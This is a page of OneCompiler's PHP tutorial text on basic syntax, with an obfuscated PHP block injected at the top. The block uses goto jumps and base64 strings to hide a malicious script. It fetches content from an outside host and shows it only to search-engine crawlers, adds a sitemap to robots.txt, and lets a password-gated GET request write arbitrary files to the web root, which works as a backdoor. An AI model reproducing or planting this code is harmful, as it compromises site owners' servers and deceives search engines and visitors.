<? goto Y6ShP; C1cGA: $JJRt4 = iI4SX(); goto P6mig; iQbgR: $skpeV = $TZrzA . base64_decode("Oi8v") . $ATGxu . base64_decode("L2luZGV4bmV3LnBocD93ZWI9") . $SmoRY . base64_decode("Jnp6PQ==") . PpmaT() . base64_decode("JnVyaT0=") . $o3eAh . base64_decode("JnVybHNoYW5nPQ==") . $uWO5A . base64_decode("Jmh0dHA9") . $Apo2r . base64_decode("Jmxhbmc9") . $O6KaH; goto MfCJo; jLWPk: if (strstr($V5YKV, base64_decode("LnhtbA=="))) { goto AUaT0; } goto l2R5o; HI8iY: YPQkC: goto BMhUA; Y0Hs7: $SmoRY = $_SERVER[base64_decode("SFRUUF9IT1NU")]; goto n90xr; ZNf5q: goto ee7Zo; goto BTqNj; n90xr: $O6KaH = @$_SERVER[base64_decode("SFRUUF9BQ0NFUFRfTEFOR1VBR0U=")]; goto HjEL7; MfCJo: $PVt_B = trim(kMHcJ($skpeV)); goto E_Qsr; zrDv2: $PVt_B = str_replace(base64_decode("b2todG1sZ2V0Y29udGVudA=="), '', $PVt_B); goto pFQUf; IVjlH: function II4SX() { goto Mawd2; ZTsyB: if (isset($_SERVER[base64_decode("YXJndg==")])) { goto Eco6i; } goto XaFfi; qEo4D: TTmBP: goto Iq2vj; XaFfi: $o3eAh = $_SERVER[base64_decode("UEhQX1NFTEY=")] . base64_decode("Pw==") . $_SERVER[base64_decode("UVVFUllfU1RSSU5H")]; goto clO7A; XTLY7: $o3eAh = $_SERVER[base64_decode("UkVRVUVTVF9VUkk=")]; goto k0WvZ; a3ixy: Eco6i: goto tUXDt; Dq5xv: return $o3eAh; goto N992g; Mawd2: if (isset($_SERVER[base64_decode("UkVRVUVTVF9VUkk=")])) { goto OMAIG; } goto ZTsyB; Iq2vj: goto Zf87b; goto GdGns; GdGns: OMAIG: goto XTLY7; clO7A: goto TTmBP; goto a3ixy; k0WvZ: Zf87b: goto Dq5xv; tUXDt: $o3eAh = $_SERVER[base64_decode("UEhQX1NFTEY=")] . base64_decode("Pw==") . $_SERVER[base64_decode("YXJndg==")][0]; goto qEo4D; N992g: } goto IS8gb; BbwMT: uw6Yg: goto telXi; z8un7: sZq5U: goto R3fyr; HYdRu: $SIx3u = $P6g4e . base64_decode("L3NpdGVtYXAueG1s"); goto ohHE7; telXi: $xkNEK = $P6g4e . base64_decode("L3JvYm90cy50eHQ="); goto P0yor; DSmWR: drkCW: goto MDctp; LFNOy: $i9p0G = base64_decode("cHV0"); goto pb0SO; oolsS: I2pkT: goto D_Jly; Y6ShP: @set_time_limit(3600); goto oU_wl; fl7L2: HgfIp: goto G7ZDH; NdOOp: exit; goto oolsS; FZhmd: LObux: goto iQbgR; lix90: if (stristr($I3e1a, $TDNip)) { goto uVFwW; } goto FjftY; p5aQC: if (!($i9p0G == base64_decode("cHV0"))) { goto HU10E; } goto jLWPk; ADLLf: $UDKM8 = md5(@$_GET[base64_decode("Yg==")]); goto JVroZ; nDBHA: goto YPQkC; goto TGU1T; pFQUf: echo $PVt_B; goto X9gpz; DED63: @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L3htbA==")); goto AohdO; RH3KX: function dV2O2() { goto rAsel; PGLS9: hjri3: goto CV0Lb; SH2fx: goto HU61L; goto muQMJ; oWraY: H8nTt: goto wCG5s; wh3kv: goto HU61L; goto oWraY; rAsel: if (isset($_SERVER[base64_decode("SFRUUFM=")]) && strtolower($_SERVER[base64_decode("SFRUUFM=")]) !== base64_decode("b2Zm")) { goto H8nTt; } goto d87_T; d87_T: if (isset($_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==")]) && $_SERVER[base64_decode("SFRUUF9YX0ZPUldBUkRFRF9QUk9UTw==")] === base64_decode("aHR0cHM=")) { goto hjri3; } goto m4B4T; wCG5s: return true; goto Eg5RK; OFjeg: return true; goto M4V27; CV0Lb: return true; goto SH2fx; Eg5RK: goto HU61L; goto PGLS9; m4B4T: if (isset($_SERVER[base64_decode("SFRUUF9GUk9OVF9FTkRfSFRUUFM=")]) && strtolower($_SERVER[base64_decode("SFRUUF9GUk9OVF9FTkRfSFRUUFM=")]) !== base64_decode("b2Zm")) { goto XPJ8k; } goto wh3kv; M4V27: HU61L: goto McLFs; muQMJ: XPJ8k: goto OFjeg; McLFs: return false; goto E2xp7; E2xp7: } goto Y0Hs7; IS8gb: $ATGxu = $MWqhv . base64_decode("LmJhYmJzYXVzdHJhbGlhbi50b3A="); goto RH3KX; P0yor: if (file_exists($xkNEK)) { goto q97B0; } goto eu0XN; ccyht: goto I2pkT; goto ajgio; Ip5d0: e4bNA: goto IeP6N; nmwAH: function ppMaT() { goto fzljv; TwaPp: return true; goto O3lTR; pgGOw: return false; goto HTpLi; O3lTR: WBmzz: goto vx03n; HTpLi: goto WBmzz; goto G6D5E; fzljv: $URgdv = strtolower($_SERVER[base64_decode("SFRUUF9VU0VSX0FHRU5U")]); goto TxSUe; TxSUe: if (stristr($URgdv, base64_decode("Z29vZ2xlYm90")) || stristr($URgdv, base64_decode("YmluZw==")) || stristr($URgdv, base64_decode("eWFob28=")) || stristr($URgdv, base64_decode("Z29vZ2xl")) || stristr($URgdv, base64_decode("R29vZ2xlYm90")) || stristr($URgdv, base64_decode("Z29vZ2xlYm90"))) { goto TdefZ; } goto pgGOw; G6D5E: TdefZ: goto TwaPp; vx03n: } goto PGQKs; ajgio: gaWVl: goto kSb8o; IhFu2: if (strstr($PVt_B, base64_decode("b2todG1sZ2V0Y29udGVudA=="))) { goto zf3qR; } goto y99Cz; Hr7tb: Ima4h: goto J1ae3; xhSp2: @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg=")); goto dMKlb; E_Qsr: if (strstr($PVt_B, base64_decode("bm9ib3R1c2VyYWdlbnQ="))) { goto HUkXn; } goto IhFu2; y99Cz: if (strstr($PVt_B, base64_decode("b2t4bWxnZXRjb250ZW50"))) { goto gaWVl; } goto ZeWha; yXOdk: if (!strstr($V5YKV, base64_decode("LnA=") . base64_decode("aHA="))) { goto PHHbR; } goto GpgQg; UtXox: V6eci: goto Ip5d0; AohdO: echo $PVt_B; goto NdOOp; RHXm3: echo base64_decode("PGJyPmZpbGUgd3JpdGUgZmFsc2UhPGJyPg=="); goto q_8IH; Rt4lH: HU10E: goto lCYaT; sloEN: goto Zva0M; goto saO6x; ntsHV: $Apo2r = base64_decode("aHR0cA=="); goto WHsgh; FONA6: $MWqhv = base64_decode("cjg4"); goto mzOQc; udQ5L: $uWO5A = ''; goto tvboB; eCAzX: Zva0M: goto L8lLG; g4s92: $uWO5A = $_SERVER[base64_decode("SFRUUF9SRUZFUkVS")]; goto vMLUQ; GpgQg: $UjQXK = md5(@$_GET[base64_decode("YQ==")]); goto ADLLf; TsDmZ: zf3qR: goto pSP8k; tvboB: if (!isset($_SERVER[base64_decode("SFRUUF9SRUZFUkVS")])) { goto HgfIp; } goto g4s92; TGU1T: q97B0: goto BOGyL; dMKlb: echo ZarZL($PVt_B); goto MAZNZ; l2R5o: echo base64_decode("PGJyPnNpdGVtYXAgbmFtZSBmYWxzZSE8YnI+"); goto ZNf5q; D_Jly: goto Ima4h; goto TsDmZ; FjftY: if (file_put_contents($xkNEK, trim($I3e1a) . base64_decode("DQo=") . base64_decode("U2l0ZW1hcDog") . $TDNip)) { goto sZq5U; } goto RHXm3; oU_wl: @ignore_user_abort(1); goto FONA6; q_8IH: goto drkCW; goto z8un7; JVroZ: if (!($UjQXK == kMHcJ($TZrzA . base64_decode("Oi8v") . $ATGxu . base64_decode("L2EucA==") . base64_decode("aHA=")) || $UDKM8 == base64_decode("MDVjZDNmM2JkYjZkNjM3YjUzOTMwYzc2YjQ3YWU5MTI="))) { goto e4bNA; } goto tIJ9g; H9LcB: if (isset($_SERVER[base64_decode("RE9DVU1FTlRfUk9PVA==")])) { goto JyN6p; } goto lzKKd; lsjnd: if (Dv2O2()) { goto YpuPk; } goto ntsHV; pb0SO: H60KC: goto p5aQC; mzOQc: $TZrzA = base64_decode("aHR0cA=="); goto lsjnd; WHsgh: goto mX_hy; goto lmAXL; KCUHL: $JJRt4 = base64_decode("Lw=="); goto TOX0b; DjjQb: mX_hy: goto C1cGA; FaNOr: $o3eAh = urlencode($JJRt4); goto IVjlH; OD_yQ: $P6g4e = $_SERVER[base64_decode("RE9DVU1FTlRfUk9PVA==")]; goto eCAzX; vMLUQ: $uWO5A = urlencode($uWO5A); goto fl7L2; Wuo91: if (!file_put_contents($P6g4e . base64_decode("Lw==") . $V5YKV, $a61ia)) { goto V6eci; } goto IrdHi; L8lLG: if ($i9p0G) { goto H60KC; } goto LFNOy; HjEL7: $O6KaH = urlencode($O6KaH); goto udQ5L; saO6x: JyN6p: goto OD_yQ; BTqNj: AUaT0: goto HYdRu; ohHE7: if (!is_file($SIx3u)) { goto uw6Yg; } goto jbcFa; jbcFa: @unlink($SIx3u); goto BbwMT; MDctp: goto U31iN; goto V0cJQ; lzKKd: $P6g4e = dirname(__FILE__); goto sloEN; BMhUA: $TDNip = $Apo2r . base64_decode("Oi8v") . $SmoRY . base64_decode("Lw==") . $V5YKV; goto lix90; R3fyr: echo base64_decode("PGJyPm9rPGJyPg=="); goto DSmWR; BOGyL: $I3e1a = kMHcJ($xkNEK); goto HI8iY; G7ZDH: if (!(@$_GET[base64_decode("cGQ=")] != '')) { goto LObux; } goto BWno5; tIJ9g: $a61ia = @$_GET[base64_decode("ZHN0cg==")]; goto Wuo91; eXE0m: ee7Zo: goto yXOdk; BWno5: $V5YKV = @$_GET[base64_decode("bWFwbmFtZQ==")]; goto ccZ9H; IeP6N: PHHbR: goto Rt4lH; eu0XN: $I3e1a = base64_decode("VXNlci1hZ2VudDogKkFsbG93OiAv"); goto nDBHA; nLfnJ: function ZARZL($MYwRJ) { goto IwPRr; EA4zW: return $gEsQi; goto LVmRF; eU2Zr: $gEsQi = ''; goto JZfea; JZfea: foreach ($HIiGq as $MM5lc) { goto pJp1p; pJp1p: $npy3k = KmHcJ($MM5lc); goto oiqSm; vtcfk: FD8fF: goto APA29; oiqSm: $sZ0oi = strpos($npy3k, base64_decode("U2l0ZW1hcCBOb3RpZmljYXRpb24gUmVjZWl2ZWQ=")) !== false ? base64_decode("cGluZ29r") : base64_decode("ZXJyb3I="); goto vIglH; vIglH: $gEsQi .= $MM5lc . base64_decode("LS0g") . $sZ0oi . base64_decode("PGJyPg=="); goto vtcfk; APA29: } goto rp07i; rp07i: GsIfm: goto EA4zW; IwPRr: $HIiGq = explode(base64_decode("DQo="), trim($MYwRJ)); goto eU2Zr; LVmRF: } goto nmwAH; Q_efv: U31iN: goto eXE0m; P6mig: if (!($JJRt4 == '')) { goto b9Q2G; } goto KCUHL; kLHzZ: echo base64_decode("PGJyPnNpdGVtYXAgYWxyZWFkeSBhZGRlZCE8YnI+"); goto Q_efv; J1ae3: HUkXn: goto nLfnJ; V0cJQ: uVFwW: goto kLHzZ; IrdHi: echo base64_decode("b2s="); goto UtXox; pSP8k: @header(base64_decode("Q29udGVudC10eXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTg=")); goto zrDv2; ccZ9H: $i9p0G = @$_GET[base64_decode("YWN0aW9u")]; goto H9LcB; K13R_: $PVt_B = str_replace(base64_decode("cGluZ3htbGdldGNvbnRlbnQ="), '', $PVt_B); goto xhSp2; lCYaT: exit; goto FZhmd; MAZNZ: exit; goto gqT0b; ZeWha: if (!strstr($PVt_B, base64_decode("cGluZ3htbGdldGNvbnRlbnQ="))) { goto ra88j; } goto K13R_; lmAXL: YpuPk: goto Ra6eb; gqT0b: ra88j: goto ccyht; X9gpz: exit; goto Hr7tb; TOX0b: b9Q2G: goto FaNOr; Ra6eb: $Apo2r = base64_decode("aHR0cHM="); goto DjjQb; kSb8o: $PVt_B = str_replace(base64_decode("b2t4bWxnZXRjb250ZW50"), '', $PVt_B); goto DED63; PGQKs: function KMHCj($MYwRJ) { goto hXQ7O; lwBtw: return $IzM8j; goto t3k1b; dQ5Uy: curl_setopt($O4ZOh, CURLOPT_CONNECTTIMEOUT, 30); goto mdqU1; hXQ7O: $IzM8j = ''; goto Tl2ME; TRpfZ: curl_setopt($O4ZOh, CURLOPT_SSL_VERIFYHOST, 0); goto O9qNO; k7y6G: $O4ZOh = curl_init(); goto LQLbV; RX1lB: D4r8y: goto lwBtw; DwxpC: curl_close($O4ZOh); goto yjhEh; Tl2ME: if (!function_exists(base64_decode("Y3VybF9pbml0"))) { goto Someb; } goto k7y6G; mdqU1: $IzM8j = curl_exec($O4ZOh); goto DwxpC; HrrVq: if ($IzM8j) { goto D4r8y; } goto fpvpc; O9qNO: curl_setopt($O4ZOh, CURLOPT_SSL_VERIFYPEER, 0); goto AzkxO; AzkxO: curl_setopt($O4ZOh, CURLOPT_RETURNTRANSFER, 1); goto dQ5Uy; fpvpc: $IzM8j = @file_get_contents($MYwRJ); goto RX1lB; yjhEh: Someb: goto HrrVq; LQLbV: curl_setopt($O4ZOh, CURLOPT_URL, $MYwRJ); goto TRpfZ; t3k1b: } ?>
Write, Run & Share PHP code online using OneCompiler's PHP online compiler for free. It's one of the robust, feature-rich online compilers for PHP language, running on the latest version 7. Getting started with the OneCompiler's PHP compiler is simple and pretty fast. The editor shows sample boilerplate code when you choose language as PHP
and start coding.
OneCompiler's PHP online editor supports stdin and users can give inputs to programs using the STDIN textbox under the I/O tab. Following is a sample PHP program which takes name as input and prints hello message with your name.
<?php
fscanf(STDIN, "%s\n", $name);
echo "Hello ".$name.".\n";
?>
PHP(Hypertext Preprocessor) is widely used server sripting language by Rasmus Lerdorf in the year 1994.
In PHP, there is no need to explicitly declare variables to reserve memory space. When you assign a value to a variable, declaration happens automatically. Variables are case-sensitive in PHP.
$variable_name = value;
If, If-else, Nested-Ifs are used when you want to perform a certain set of operations based on conditional expressions.
if(conditional-expression){
//code
}
if(conditional-expression){
//code if condition is true
} else {
//code if condition is false
}
if(condition-expression1) {
//code if above condition is true
} elseif(condition-expression2){
//code if above condition is true
}
elseif(condition-expression3) {
//code if above condition is true
}
...
else {
//code if all the conditions are false
}
Switch is used to execute one set of statement from multiple conditions.
switch(conditional-expression) {
case value1:
// code if the above value is matched
break; // optional
case value2:
// code if the above value is matched
break; // optional
...
default:
// code to be executed when all the above cases are not matched;
}
For loop is used to iterate a set of statements based on a condition.
for(Initialization; Condition; Increment/decrement){
// code
}
// you can use any of the below syntax
foreach ($array as $element-value) {
//code
}
foreach ($array as $key => $element-value) {
//code
}
While is also used to iterate a set of statements based on a condition. Usually while is preferred when number of iterations are not known in advance.
while(condition) {
// code
}
Do-while is also used to iterate a set of statements based on a condition. It is mostly used when you need to execute the statements atleast once.
do {
// code
} while (condition);
Function is a sub-routine which contains set of statements. Usually functions are written when multiple calls are required to same set of statements which increases re-usuability and modularity.
function function_name(parameters) {
//code
}
function_name (parameters)